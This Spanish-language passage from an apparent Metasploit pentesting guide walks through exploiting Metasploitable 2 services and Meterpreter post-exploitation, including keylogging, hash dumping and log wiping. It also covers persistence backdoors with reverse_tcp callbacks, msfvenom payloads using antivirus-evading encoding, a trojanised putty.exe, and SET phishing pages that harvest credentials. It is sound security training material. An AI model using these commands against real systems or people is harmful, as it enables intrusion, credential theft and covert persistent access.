5. Configurar el objetivo: msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS <IP_Metasploitable2>
6. Lanzar el ataque: msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit.

Resultado Esperado: Metasploit informará que el exploit se ha completado y que se ha abierto una sesión. Al ejecutar sessions -l, se verá una nueva sesión de tipo cmd/unix/interact. Al interactuar con ella (sessions -i <ID>) y ejecutar comandos como whoami y id, se confirmará que se ha obtenido acceso como el usuario **root**, el máximo privilegio en un sistema Linux.

5.3 Estudio de Caso 2 (Servidor): Explotación de unreal_ircd_3281_backdoor

Para demostrar la versatilidad del framework, este caso se centra en un servicio diferente: un demonio de IRC (Internet Relay Chat). La versión de UnrealIRCd 3.2.8.1 presente en Metasploitable 2 contiene otra puerta trasera, un troyano introducido en el código fuente que permite la ejecución remota de comandos.

Pasos de la Explotación:

1. Buscar el exploit: msf6 > search unrealircd
2. Seleccionar el módulo: msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor.
3. Configurar el objetivo: msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS <IP_Metasploitable2>
4. (Opcional) Revisar y configurar el payload. Por defecto, suele usar un payload de comando.
5. Lanzar el ataque: msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run.

Resultado Esperado: De nuevo, Metasploit establecerá una conexión y abrirá una sesión de shell, demostrando cómo diferentes servicios pueden ser vectores de entrada a un mismo sistema. Este caso subraya la importancia de auditar no solo la configuración, sino también la procedencia y la integridad del software desplegado.

5.4 Estudio de Caso 3 (Servidor): Comprometiendo PostgreSQL en Metasploitable 2

Las bases de datos son objetivos de alto valor para los atacantes, ya que centralizan información crítica. Metasploitable 2 expone un servicio PostgreSQL con una configuración débil, permitiendo la autenticación y posterior ejecución de código.

Pasos de la Explotación:

1. Buscar módulos para PostgreSQL: msf6 > search postgres
2. Seleccionar un módulo de explotación adecuado, como exploit/linux/postgres/postgres_payload. Este módulo intenta autenticarse con credenciales por defecto y, si tiene éxito, sube y ejecuta un payload.
3. Configurar las opciones:
    - set RHOSTS <IP_Metasploitable2>
    - set LHOST <IP_Atacante> (para el payload de conexión inversa)
4. Ejecutar el exploit: msf6 exploit(linux/postgres/postgres_payload) > exploit.

Resultado Esperado: Si la autenticación es exitosa, el módulo ejecutará el payload y se abrirá una sesión de Meterpreter o shell en el sistema, esta vez con los privilegios del usuario del servicio PostgreSQL (postgres). Esto demuestra un vector de ataque a nivel de aplicación que

puede proporcionar un punto de apoyo inicial para una posterior escalada de privilegios.

5.5 Estudio de Caso 4 (Cliente): Anatomía de un Ataque de Navegador (Client-Side)

Hasta ahora, los ataques han sido directos (servidor-lado). Sin embargo, una gran parte de los ataques en el mundo real se dirigen a los usuarios finales a través de sus clientes de software, como navegadores web o lectores de documentos. Este tipo de ataque, conocido como *client-side*, representa un cambio de paradigma fundamental. En lugar de que el atacante inicie la conexión, se prepara un servidor malicioso y se engaña a la víctima para que se conecte a él, momento en el que se entrega el exploit.
Este cambio de estrategia de una explotación puramente técnica a una que incorpora la manipulación del usuario es crucial. Refleja la complejidad de los ataques modernos y sirve como un puente natural hacia las técnicas de ingeniería social.
Pasos de un Ataque de Navegador (Conceptual):

1. **Selección del Exploit:** Se elige un exploit para una vulnerabilidad en un navegador o plugin, por ejemplo, exploit/windows/browser/ani_loadimage_chunksize para una antigua vulnerabilidad en el manejo de cursores animados de Windows.
2. **Configuración del Servidor Malicioso:** En lugar de RHOSTS, se configuran las opciones del servidor web que servirá el exploit:
    - set SRVHOST 0.0.0.0: Indica al servidor que escuche en todas las interfaces de red de la máquina atacante.
    - set SRVPORT 80: El puerto en el que escuchará el servidor (el puerto 80 es el estándar para HTTP).
    - set URIPATH /: La ruta específica en el servidor que activará el exploit.
3. **Configuración del Payload y el Listener:** Se configura un payload de conexión inversa (windows/meterpreter/reverse_tcp) con LHOST (la IP del atacante) y LPORT (un puerto de escucha). A diferencia de los exploits de servidor, el exploit y el listener operan de forma semi-independiente. El comando exploit inicia el servidor web malicioso y, simultáneamente, un *handler* (manejador) que se queda a la escucha de la conexión del payload.
4. **Entrega y Activación:** El atacante debe enviar la URL maliciosa (http://<IP_Atacante>/) a la víctima (por ejemplo, a través de un correo de phishing). Cuando la víctima visita la URL con un navegador vulnerable, el exploit se ejecuta, el payload se descarga y se conecta de vuelta al listener del atacante, abriendo una sesión de Meterpreter.

Este tipo de ataque pasivo demuestra cómo Metasploit puede ser utilizado para explotar el eslabón más débil de la cadena de seguridad: el factor humano.

Capítulo 6: Post-Explotación: Dominando Meterpreter

Obtener acceso inicial a un sistema es solo el comienzo. La fase de post-explotación es donde se extrae el verdadero valor de un compromiso, y para esta tarea, Metasploit ofrece su payload más avanzado y versátil: **Meterpreter**.

6.1 Introducción a Meterpreter: El Payload Avanzado

Meterpreter no es un simple shell. Es un payload avanzado y extensible que reside completamente en la memoria del proceso víctima, sin escribir un solo archivo en el disco, lo

que lo hace extremadamente sigiloso. Funciona bajo una arquitectura cliente-servidor: el servidor se ejecuta en la máquina comprometida y el cliente en la msfconsole del atacante. Sus características clave incluyen:

- **Sigilo:** Al operar en memoria y migrar entre procesos, evade muchas soluciones de seguridad tradicionales y no deja artefactos forenses en el sistema de archivos.
- **Extensibilidad:** Meterpreter puede cargar extensiones (módulos DLL) dinámicamente sobre la marcha a través del canal de comunicación encriptado. Esto permite añadir funcionalidades sin necesidad de reiniciar la sesión. Las extensiones más importantes son stdapi (comandos básicos del sistema), priv (escalada de privilegios) y kiwi (para volcar credenciales en texto plano en Windows).
- **Robustez:** La comunicación está encriptada y el payload es estable, lo que permite interacciones prolongadas con el sistema objetivo.

6.2 Comandos Fundamentales de Meterpreter

Una vez que se obtiene una sesión de Meterpreter, se abre un nuevo prompt (meterpreter >) con un conjunto de comandos específicos para interactuar con el sistema víctima. Dominar estos comandos es esencial para una post-explotación efectiva.

- **Navegación del Sistema de Archivos:**
  - ls: Lista los archivos y directorios (similar a Linux).
  - cd: Cambia de directorio.
  - pwd: Muestra el directorio de trabajo actual.
  - cat: Muestra el contenido de un archivo de texto.
  - edit: Abre un archivo en el editor de texto vim para modificarlo directamente.
- **Transferencia de Archivos:**
  - download <archivo_remoto> [ruta_local]: Descarga un archivo del sistema víctima a la máquina del atacante.
  - upload <archivo_local> <ruta_remota>: Sube un archivo desde la máquina del atacante al sistema víctima.
- **Información y Gestión del Sistema:**
  - sysinfo: Muestra información básica del sistema (nombre, SO, arquitectura).
  - getuid: Muestra el nombre de usuario con el que se está ejecutando la sesión.
  - getpid: Muestra el ID del proceso en el que Meterpreter está actualmente inyectado.
  - ps: Lista todos los procesos en ejecución en la máquina víctima, con sus PIDs y nombres de usuario.
  - ipconfig / ifconfig: Muestra la configuración de red del host comprometido.
- **Gestión de la Sesión:**
  - background: Envía la sesión actual a segundo plano y devuelve al usuario a la msfconsole, sin cerrar la sesión.
  - exit o quit: Cierra la sesión de Meterpreter.
  - shell: Proporciona un shell de comandos estándar del sistema operativo víctima, dentro de la sesión de Meterpreter.

Tabla 4: Comandos Fundamentales de Meterpreter

Comando	Categoría	Descripción
sysinfo	Recopilación de Información	Muestra información general

Comando	Categoría	Descripción
		del sistema operativo y hardware del objetivo.
getuid	Recopilación de Información	Obtiene el identificador de usuario (UID) con el que se está ejecutando la sesión actual.
ps	Gestión de Procesos	Lista los procesos en ejecución en la máquina comprometida.
migrate	Gestión de Procesos	Migra el payload de Meterpreter a un proceso diferente para aumentar el sigilo y la estabilidad.
ls	Sistema de Archivos	Lista el contenido del directorio actual en el sistema remoto.
download	Sistema de Archivos	Descarga un archivo desde el sistema comprometido a la máquina del atacante.
keyscan_start	Recopilación de Credenciales	Inicia el módulo de registro de pulsaciones de teclado (keylogger).
hashdump	Recopilación de Credenciales	Vuelca los hashes de las contraseñas de la base de datos SAM de Windows.
clearev	Evasión	Limpia los registros de eventos de Aplicación, Sistema y Seguridad de Windows para borrar huellas.
run	Ejecución de Scripts	Ejecuta un script o módulo de post-explotación de Metasploit dentro de la sesión de Meterpreter.

6.3 Técnicas de Escalada de Privilegios

A menudo, un exploit inicial otorga acceso con los privilegios de un usuario normal. Para obtener control total, es necesario escalar privilegios a NT AUTHORITY\SYSTEM en Windows o root en Linux.

- **getsystem (Windows):** Este es uno de los comandos más potentes de Meterpreter para Windows. Primero se debe cargar la extensión priv con el comando use priv. Luego, al ejecutar getsystem, el script intentará automáticamente una serie de técnicas conocidas de escalada de privilegios (como la suplantación de tokens) para elevar la sesión actual a privilegios de SYSTEM.
- **local_exploit_suggester:** En lugar de buscar manualmente exploits de escalada local, se puede usar el módulo de post-explotación post/multi/recon/local_exploit_suggester. Al ejecutarlo dentro de una sesión (run post/multi/recon/local_exploit_suggester), el módulo

analiza la configuración del sistema víctima (kernel, parches, servicios) y lo compara con la base de datos de exploits locales de Metasploit, sugiriendo una lista de posibles exploits de escalada de privilegios que podrían funcionar.

Ejemplo Práctico: Escalada de Privilegios en Linux Kernel 2.6

Metasploitable 2 se ejecuta sobre un kernel de Linux antiguo (versión 2.6), que es vulnerable a varios exploits de escalada de privilegios conocidos. Después de obtener un shell inicial (por ejemplo, como usuario postgres), se puede usar un exploit local para obtener root.

1. Poner la sesión actual en segundo plano (background).
2. Buscar un exploit local adecuado: search type:exploit platform:linux local
3. Seleccionar un exploit como exploit/linux/local/sock_sendpage (vulnerable en kernels 2.4/2.6) o exploit/linux/local/rds_rds_page_copy_user_priv_esc (vulnerable en kernels 2.6.30 a 2.6.36).
4. Configurar el exploit, estableciendo la opción SESSION al ID de la sesión de bajo privilegio.
5. Configurar un payload (ej. linux/x86/meterpreter/reverse_tcp) y el LHOST/LPORT.
6. Ejecutar el exploit. Si tiene éxito, se abrirá una nueva sesión de Meterpreter, esta vez con privilegios de root.

6.4 Técnicas de Evasión y Sigilo

Mantenerse sin ser detectado es clave para una post-explotación exitosa. Meterpreter ofrece herramientas para minimizar la huella del atacante.

- **Migración de Procesos con migrate:** Cuando se explota una aplicación (como un navegador o un servidor FTP), el payload de Meterpreter se inyecta en el proceso de esa aplicación. Si el usuario cierra la aplicación, la sesión muere. Para evitar esto y para ocultarse en un proceso más común y estable, se utiliza el comando migrate. Primero, se usa ps para listar los procesos y encontrar un candidato adecuado, como explorer.exe (el proceso de la interfaz de usuario de Windows) o un svchost.exe genérico. Luego, se ejecuta migrate <PID> para mover el payload de Meterpreter a ese nuevo proceso, todo en memoria.
- **Limpieza de Huellas con clearev:** Las acciones en un sistema Windows, como inicios de sesión fallidos o la instalación de servicios, dejan rastros en los Registros de Eventos. El comando clearev de Meterpreter es una herramienta de "limpieza" que borra los registros de Aplicación, Sistema y Seguridad, dificultando el análisis forense posterior al incidente.

6.5 Recopilación Avanzada de Inteligencia

Con privilegios elevados y una sesión estable, se puede proceder a la recopilación de información valiosa.

- **Captura de Pulsaciones de Teclado:** Meterpreter incluye un potente keylogger. El proceso es:
    1. Asegurarse de estar en un proceso con acceso al escritorio del usuario (usar migrate si es necesario).
    2. Iniciar el keylogger con keyscan_start.
    3. Dejarlo correr mientras el usuario trabaja.
    4. Volcar las pulsaciones capturadas con keyscan_dump. Se podrán ver contraseñas, correos electrónicos y otra información sensible tecleada por el usuario.

5. Detener el keylogger con keyscan_stop.

- **Extracción de Credenciales y Hashes:** Una de las primeras acciones tras escalar a SYSTEM en Windows es extraer las credenciales. El comando hashdump (que requiere la extensión priv) o el script run post/windows/gather/hashdump pueden volcar los hashes de contraseña NTLM de la base de datos SAM del sistema. Estos hashes pueden ser crackeados offline con herramientas como John the Ripper o Hashcat, o utilizados directamente en ataques de "Pass-the-Hash".
- **Detección de Entornos Virtualizados:** Es crucial saber si el sistema comprometido es físico o virtual. Un entorno virtual puede indicar que se trata de un *sandbox* o un honeypot. El módulo run post/windows/gather/checkvm realiza varias comprobaciones en el registro y en los procesos para determinar si se está ejecutando dentro de VMware, VirtualBox, Hyper-V, etc., proporcionando un contexto valioso sobre el objetivo.

Capítulo 7: Movimiento Lateral y Exfiltración de Datos

Una vez que se ha establecido un punto de apoyo firme en una máquina, el siguiente objetivo estratégico es moverse lateralmente a través de la red para alcanzar sistemas más críticos y, finalmente, exfiltrar los datos valiosos. Metasploit proporciona herramientas sofisticadas para estas fases avanzadas del pentesting.

7.1 Pivoting: Creación de Rutas con autoroute

El *pivoting* es la técnica de utilizar un host comprometido como un trampolín para atacar otras redes a las que no se tiene acceso directo. Esto es común en redes segmentadas, donde una máquina en la DMZ puede tener una segunda interfaz de red conectada a la red interna corporativa.
Metasploit simplifica enormemente este proceso a través de su tabla de enrutamiento interna y el módulo autoroute.

1. **Identificar Redes Adicionales:** Dentro de una sesión de Meterpreter en el host comprometido (el "pivote"), se ejecuta ipconfig para identificar todas las interfaces de red y las subredes a las que tiene acceso.
2. **Añadir Rutas:** La forma más sencilla de configurar el pivote es usando el módulo de post-explotación autoroute. Se pone la sesión de Meterpreter en segundo plano (background) y se ejecuta: msf6 > use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) > set SESSION <ID_de_la_sesion> msf6 post(multi/manage/autoroute) > run Este comando añadirá automáticamente todas las subredes conectadas al host pivote a la tabla de enrutamiento de Metasploit. Alternativamente, se puede añadir una ruta manualmente desde la sesión de Meterpreter con run autoroute -s <subnet>/<netmask>.
3. **Verificar Rutas:** Desde la msfconsole, el comando route print mostrará la tabla de enrutamiento de Metasploit, confirmando que el tráfico hacia la red interna ahora se redirigirá a través de la sesión de Meterpreter especificada.
4. **Atacar la Red Interna:** Con las rutas establecidas, se puede usar cualquier otro módulo de Metasploit (escáneres, exploits) contra los hosts de la red interna. Simplemente se configura el RHOSTS a una IP de la red interna, y Metasploit se encargará de tunelizar el tráfico a través del pivote de forma transparente.

7.2 Port Forwarding para Acceder a Servicios Internos

A veces, en lugar de lanzar un exploit, se necesita interactuar directamente con un servicio en la red interna, como un servidor web, una base de datos o un escritorio remoto (RDP). El comando portfwd de Meterpreter permite crear un túnel para redirigir un puerto específico del host interno a un puerto en la máquina del atacante.
Por ejemplo, para acceder a un servidor web interno en 192.168.100.50:80: meterpreter > portfwd add -l 8080 -p 80 -r 192.168.100.50
Este comando le dice a Meterpreter que todo el tráfico que llegue al puerto 8080 de la máquina del atacante (-l 8080 para puerto local) debe ser redirigido al puerto 80 (-p 80) del host remoto (-r 192.168.100.50) a través de la sesión de Meterpreter. Ahora, el atacante puede simplemente abrir su navegador y navegar a http://127.0.0.1:8080 para interactuar con el servidor web interno.

7.3 Técnicas de Exfiltración de Datos

La exfiltración de datos es el proceso de transferir información sensible desde la red comprometida hacia un servidor controlado por el atacante. Es a menudo el objetivo final de un ataque.

- **Exfiltración Directa:** Para archivos pequeños o específicos, el método más simple es usar el comando download de Meterpreter dentro de una sesión activa. Este comando utiliza el propio canal encriptado de Meterpreter para transferir el archivo, lo que lo hace relativamente sigiloso.
- **Exfiltración sobre Canales Encubiertos:** Para grandes volúmenes de datos o en entornos con una monitorización de red estricta, los atacantes suelen utilizar protocolos comunes para camuflar la exfiltración y hacerla pasar por tráfico legítimo. Esta técnica se describe en el framework MITRE ATT&CK como "Exfiltration Over Alternative Protocol" (T1048). Los métodos incluyen:
    - **HTTP/HTTPS:** Los datos se codifican (por ejemplo, en Base64) y se envían en peticiones POST a un servidor web controlado por el atacante. Como el tráfico HTTP/S es ubicuo en cualquier red corporativa, es muy difícil de detectar.
    - **DNS Tunneling:** Los datos se dividen en pequeños trozos y se codifican dentro de consultas DNS. El servidor DNS del atacante recibe estas consultas y reconstruye los datos. Este método es muy sigiloso, ya que el tráfico DNS rara vez es inspeccionado en profundidad.

Meterpreter, al ser un payload en memoria, es un excelente vehículo para iniciar estas técnicas de exfiltración, ya que puede ejecutar los comandos o scripts necesarios en el host comprometido para empaquetar, codificar y enviar los datos a través del canal elegido. La clave para la detección es la monitorización del comportamiento anómalo de la red, como grandes volúmenes de datos salientes hacia destinos desconocidos o patrones de tráfico inusuales para protocolos como DNS.

Capítulo 8: Establecimiento de Persistencia

Tras el arduo trabajo de obtener acceso y escalar privilegios, un pentester (o un atacante) querrá asegurarse de que puede volver a entrar en el sistema fácilmente. Un reinicio del sistema, un parche de la vulnerabilidad explotada o el cierre de una aplicación pueden hacer

que se pierda el acceso. La **persistencia** es el conjunto de técnicas utilizadas para instalar un mecanismo de "puerta trasera" que sobreviva a estos eventos.

8.1 Asegurando el Acceso: La Importancia de la Persistencia

El objetivo de la persistencia es simple: garantizar un acceso continuo y a largo plazo al sistema comprometido. Esto permite al atacante volver en cualquier momento para continuar con la exfiltración de datos, el movimiento lateral o el uso del sistema como pivote, sin tener que repetir todo el proceso de explotación inicial. Metasploit ofrece varios módulos de post-explotación diseñados específicamente para automatizar la creación de estos backdoors. Es fundamental tener en cuenta que dejar una puerta trasera en un sistema es una acción de alto riesgo. En un pentesting ético, cualquier mecanismo de persistencia debe ser documentado y, lo que es más importante, **eliminado de forma segura** al finalizar el encargo. Dejar un backdoor desatendido, especialmente uno sin autenticación, crea una nueva y grave vulnerabilidad en el sistema del cliente.

8.2 Ejemplo Práctico: Creación de un Backdoor Persistente

Metasploit proporciona módulos específicos para establecer persistencia en diferentes sistemas operativos. El proceso generalmente implica subir un payload (como un ejecutable de Meterpreter) al sistema víctima y luego crear una entrada en el sistema (como una tarea programada, una clave de registro o un servicio) que ejecute ese payload automáticamente.

- **Persistencia en Windows:** El módulo de post-explotación post/windows/manage/persistence_exe es la herramienta moderna para esta tarea. El antiguo script persistence.rb está obsoleto pero es conceptualmente similar.
    1. **Obtener una sesión de Meterpreter** con privilegios elevados (SYSTEM).
    2. **Poner la sesión en segundo plano** (background).
    3. **Cargar el módulo de persistencia:** use post/windows/manage/persistence_exe
    4. **Configurar las opciones:**
        - set SESSION <ID_de_la_sesion>: La sesión con privilegios elevados.
        - set PAYLOAD windows/meterpreter/reverse_tcp: El payload que se ejecutará.
        - set LHOST <IP_Atacante> y set LPORT <Puerto_Escucha>: A dónde se conectará el backdoor.
        - set STARTUP USER: Para que el payload se ejecute cuando cualquier usuario inicie sesión. Otras opciones incluyen SYSTEM para ejecutarse al arranque del sistema.
    5. **Ejecutar el módulo:** run. El módulo subirá el payload a una ubicación oculta (como %TEMP%) y creará una clave en el registro de Windows (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) para asegurar su ejecución automática.
- **Persistencia en Linux:** En sistemas Linux, un método común de persistencia es a través de tareas programadas con cron. Metasploit lo facilita con el módulo exploit/linux/local/cron_persistence.
    1. **Obtener una sesión de Meterpreter** en el objetivo Linux, preferiblemente con privilegios de root.
    2. **Poner la sesión en segundo plano** y cargar el módulo: use exploit/linux/local/cron_persistence.

3. **Configurar las opciones:** set SESSION <ID>, set PAYLOAD <payload_linux>, set LHOST, set LPORT.
4. **Ejecutar el módulo:** run. El módulo creará una entrada en el crontab del usuario, que ejecutará el payload a intervalos regulares.

- **Configuración del Handler:** En ambos casos, después de establecer la persistencia, es crucial configurar un listener o *handler* en la máquina del atacante para recibir la conexión entrante del backdoor. Esto se hace con el módulo exploit/multi/handler: msf6 > use exploit/multi/handler msf6 exploit(handler) > set PAYLOAD <mismo_payload_usado_en_la_persistencia> msf6 exploit(handler) > set LHOST 0.0.0.0 msf6 exploit(handler) > set LPORT <mismo_puerto_usado_en_la_persistencia> msf6 exploit(handler) > set ExitOnSession false (Importante: para que el listener no se detenga después de recibir la primera conexión). msf6 exploit(handler) > run -j (Para ejecutarlo como un trabajo en segundo plano).

Ahora, cada vez que el sistema víctima se reinicie o un usuario inicie sesión (según la configuración), el backdoor se activará y establecerá una nueva sesión de Meterpreter con el listener del atacante, garantizando así un acceso persistente.

Parte III: Tópicos Avanzados y Ecosistema Extendido

Capítulo 9: El Arte de msfvenom: Creación de Payloads a Medida

Mientras que los módulos de exploit se encargan de la intrusión, la verdadera flexibilidad de Metasploit a la hora de definir la acción post-compromiso reside en la generación de payloads. La herramienta msfvenom es la navaja suiza para esta tarea, un generador de payloads independiente que permite una personalización y ofuscación profundas.

9.1 Generación de Payloads para Múltiples Plataformas y Formatos

msfvenom es una herramienta de línea de comandos que reemplazó a las antiguas utilidades msfpayload y msfencode, combinando sus funcionalidades en una interfaz unificada y más rápida. Su sintaxis básica es: msfvenom -p <payload> [opciones] > <archivo_salida>
Las opciones clave incluyen:

- -p, --payload: Especifica el payload a utilizar (ej. windows/meterpreter/reverse_tcp). Se puede ver una lista completa con msfvenom -l payloads.
- -a, --arch: Define la arquitectura del objetivo (ej. x86, x64).
- --platform: Especifica la plataforma del objetivo (ej. windows, linux, android).
- -f, --format: Determina el formato del archivo de salida. msfvenom puede generar una gran variedad de formatos, desde ejecutables nativos (exe para Windows, elf para Linux) hasta formatos de script (py, vba, psh, bash) y shellcode en bruto (raw). La lista completa se obtiene con msfvenom --help-formats.
- -o, --output: Especifica el nombre y la ruta del archivo de salida.
- LHOST, LPORT: Opciones específicas del payload que se pasan directamente en la línea de comandos (ej. LHOST=192.168.1.100).

Ejemplo de generación de un ejecutable de Meterpreter para Windows: $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe.

9.2 Técnicas de Evasión de Antivirus: El Codificador shikata_ga_nai

Uno de los mayores desafíos al desplegar un payload es evadir el software antivirus (AV). Los AV modernos utilizan múltiples técnicas de detección, siendo la más básica la basada en firmas. msfvenom integra codificadores (*encoders*) para combatir esta primera línea de defensa. Un codificador ofusca el payload mediante técnicas como la codificación polimórfica, que altera la estructura del código en cada generación para que su firma estática no coincida con las bases de datos de malware conocido.
El codificador más famoso de Metasploit es **x86/shikata_ga_nai** (SGN), una frase japonesa que significa "no se puede evitar". SGN es un codificador polimórfico que utiliza una combinación de técnicas para ofuscar el payload, incluyendo claves de decodificación XOR dinámicas, sustitución de instrucciones y la inserción de código basura (*junk code*).
Para usar un codificador, se utiliza la opción -e:

- -e, --encoder: Especifica el codificador a usar (ej. x86/shikata_ga_nai).

Para aumentar la aleatoriedad y la probabilidad de evasión, se pueden aplicar múltiples rondas de codificación con la opción -i:

- -i, --iterations: Especifica el número de veces que se aplicará el codificador.

Ejemplo de un payload codificado múltiples veces: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -e x86/shikata_ga_nai -i 10 -f exe -o payload_encoded.exe.
Sin embargo, es crucial entender que la evasión de AV es un juego del gato y el ratón en constante evolución. Si bien la codificación con shikata_ga_nai puede derrotar a los AV más simples basados en firmas, las soluciones de seguridad modernas (EDR, XDR) utilizan análisis de comportamiento, heurística y sandboxing en memoria que a menudo pueden detectar la actividad del payload incluso si está codificado. Por lo tanto, shikata_ga_nai no debe ser considerado una "bala de plata". Es un primer paso fundamental en la evasión, pero las técnicas avanzadas requieren métodos más sofisticados, como la modificación manual del código, el uso de plantillas personalizadas y la adopción de técnicas de malware sin ficheros (*fileless*).

9.3 Integración de Payloads en Plantillas Personalizadas

Una técnica de evasión y sigilo mucho más efectiva que simplemente generar un ejecutable con un icono genérico es inyectar el payload en un archivo ejecutable legítimo y conocido. Esto hace que el archivo malicioso parezca inofensivo para el usuario y puede ayudar a eludir algunas defensas. msfvenom facilita esto con la opción -x:

- -x, --template: Especifica la ruta a un archivo ejecutable que se usará como plantilla. msfvenom inyectará el payload dentro de este ejecutable, intentando mantener la funcionalidad original del programa plantilla mientras ejecuta el payload en un hilo separado.

Ejemplo de inyección de un payload en putty.exe: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -x /path/to/putty.exe -f exe -o putty_backdoored.exe
Al ejecutar putty_backdoored.exe en la máquina víctima, se abrirá la aplicación PuTTY como de costumbre, pero en segundo plano, el payload de Meterpreter se conectará de vuelta al atacante. Esta técnica es una forma poderosa de combinar la explotación técnica con la ingeniería social.

Capítulo 10: Ingeniería Social con SET y Metasploit

La explotación técnica es solo una cara de la moneda del pentesting. A menudo, el vector de ataque más eficaz no es un fallo en el software, sino la manipulación del factor humano. La **ingeniería social** es el arte de engañar a las personas para que realicen acciones o divulguen información confidencial. Metasploit se integra a la perfección con una de las herramientas más potentes para este propósito: el **Social-Engineer Toolkit (SET)**.

10.1 Integración del Social-Engineer Toolkit (SET)

El Social-Engineer Toolkit (SET), creado por David Kennedy, es un framework de código abierto escrito en Python, diseñado específicamente para automatizar y ejecutar ataques de ingeniería social. Funciona con un sistema de menús que guía al usuario a través de la creación de complejos vectores de ataque. Su verdadera fuerza radica en su estrecha integración con Metasploit, del cual depende para la generación de payloads y la gestión de listeners.
Para que la integración funcione, SET debe ser configurado para conocer la ruta de instalación de Metasploit. En la mayoría de las instalaciones modernas, como en Kali Linux, esta configuración es automática. SET utilizará msfvenom en segundo plano para crear los payloads y lanzará instancias de msfconsole para manejar las conexiones entrantes (handlers).

10.2 Ejemplo Práctico: Ataque de "Credential Harvester"

Uno de los ataques más comunes y efectivos de SET es el "Credential Harvester" (Recolector de Credenciales). El objetivo es clonar un sitio web legítimo (como una página de inicio de sesión de redes sociales o un portal corporativo) y engañar a la víctima para que introduzca sus credenciales en la página falsa.
El proceso en SET es el siguiente:

1. Desde el menú principal de SET, seleccionar la opción 1) Social-Engineering Attacks.
2. Luego, elegir 2) Website Attack Vectors.
3. A continuación, seleccionar 3) Credential Harvester Attack.
4. Finalmente, optar por 2) Site Cloner.
5. SET solicitará la dirección IP a la que se enviarán las credenciales (la IP de la máquina atacante) y la URL del sitio web a clonar (ej. https://www.facebook.com).

Una vez configurado, SET inicia un servidor web en la máquina del atacante que aloja una réplica exacta de la página de inicio de sesión. El atacante debe entonces entregar esta URL a la víctima (por ejemplo, a través de un correo de phishing). Cuando la víctima accede a la URL y introduce su nombre de usuario y contraseña, ocurre lo siguiente:

- Las credenciales se envían al servidor de SET y se muestran en texto claro en la consola del atacante.
- Para que la víctima no sospeche, SET la redirige inmediatamente a la página web legítima original, haciéndole creer que simplemente ha escrito mal la contraseña.

10.3 Creación y Entrega de Payloads con SET

Además de la recolección de credenciales, SET es una herramienta excelente para automatizar la creación y entrega de payloads de Metasploit. Puede generar archivos maliciosos (como PDFs o ejecutables) y empaquetarlos en campañas de phishing por correo electrónico.
Por ejemplo, la opción 4) Create a Payload and Listener en el menú principal de SET simplifica

enormemente el proceso que se haría manualmente con msfvenom y exploit/multi/handler. SET guía al usuario a través de la selección de un payload de Metasploit (ej. windows/meterpreter/reverse_tcp), solicita el LHOST y LPORT, genera el archivo ejecutable, y automáticamente inicia un listener en msfconsole para recibir la conexión. La tarea del pentester se reduce entonces a encontrar una forma de convencer a la víctima para que descargue y ejecute ese archivo.

Capítulo 11: Interfaces Gráficas: Una Introducción a Armitage

Aunque la msfconsole es la interfaz preferida por muchos expertos debido a su velocidad y control, las interfaces gráficas de usuario (GUI) pueden ser extremadamente útiles, especialmente para principiantes, para la visualización de redes y para la gestión de múltiples objetivos simultáneamente. **Armitage** es la GUI de código abierto más conocida para Metasploit Framework.

11.1 Configuración y Primeros Pasos con Armitage

Armitage no es una herramienta independiente; es un *frontend* que se comunica con el backend de Metasploit a través de su servicio RPC (Remote Procedure Call). Por lo tanto, para usar Armitage, Metasploit y su base de datos deben estar correctamente configurados y en ejecución.
El proceso de inicio en Kali Linux es:

1. **Iniciar la base de datos PostgreSQL:** sudo systemctl start postgresql.
2. **Inicializar la base de datos de Metasploit (si no se ha hecho antes):** sudo msfdb init.
3. **Lanzar Armitage:** Ejecutar el comando sudo armitage en una terminal.

Al iniciarse, Armitage mostrará un cuadro de diálogo para conectarse al servicio de Metasploit. Se pueden aceptar los valores por defecto y hacer clic en "Connect". Armitage se encargará de iniciar el demonio RPC de Metasploit (msfrpcd) y presentará su interfaz principal.

11.2 Flujo de Trabajo Básico en Armitage

La interfaz de Armitage se divide en tres paneles principales: el panel de módulos a la izquierda, el panel de visualización de objetivos en el centro y las pestañas de consola y sesiones en la parte inferior.

- **Escaneo y Enumeración:** Desde el menú Hosts, se pueden añadir objetivos manualmente (Add Hosts) o, más comúnmente, lanzar escaneos de Nmap (Nmap Scan). Un "Intense Scan", por ejemplo, realizará un escaneo completo de puertos y servicios, y los hosts descubiertos aparecerán como iconos de ordenador en el panel central.
- **Búsqueda de Ataques:** Una de las características más potentes de Armitage es su capacidad para correlacionar vulnerabilidades con exploits. Al seleccionar un host y hacer clic en el menú Attacks -> Find Attacks, Armitage analizará los servicios y versiones descubiertos en el host y los comparará con la base de datos de exploits de Metasploit. Los exploits que podrían funcionar aparecerán en el menú contextual del host.
- **Explotación:** Lanzar un ataque es tan simple como hacer clic derecho en un host, navegar por el menú Attack, y seleccionar un exploit (por ejemplo, ftp -> vsftpd_234_backdoor). Se abrirá una ventana de diálogo para configurar las opciones del exploit (como RHOST, que ya estará pre-rellenado). Al hacer clic en "Launch", Armitage

ejecutará el exploit en segundo plano.

- **Post-Explotación Visual:** Si el exploit tiene éxito, la apariencia del icono del host cambiará dramáticamente: se volverá rojo y le saldrán rayos, indicando un compromiso exitoso. Al hacer clic derecho sobre el host comprometido, aparecerá un nuevo menú, Meterpreter, con acceso directo a todas las acciones de post-explotación: abrir un shell, interactuar con el sistema de archivos, volcar hashes, tomar capturas de pantalla, etc..

Armitage, por tanto, proporciona una capa de abstracción visual sobre Metasploit que puede acelerar significativamente las fases iniciales de un pentest y facilitar la gestión de múltiples sesiones, convirtiéndolo en una excelente herramienta tanto para el aprendizaje como para la eficiencia operativa.

Capítulo 12: Desarrollo de Módulos Propios

El verdadero poder de un framework reside en su capacidad de ser extendido. Metasploit no es una excepción. Aunque viene con miles de módulos, los profesionales a menudo se encuentran con la necesidad de crear sus propias herramientas para vulnerabilidades de día cero, protocolos personalizados o para automatizar tareas muy específicas. Escribir un módulo para Metasploit no solo es posible, sino que es una habilidad que distingue a un usuario avanzado.

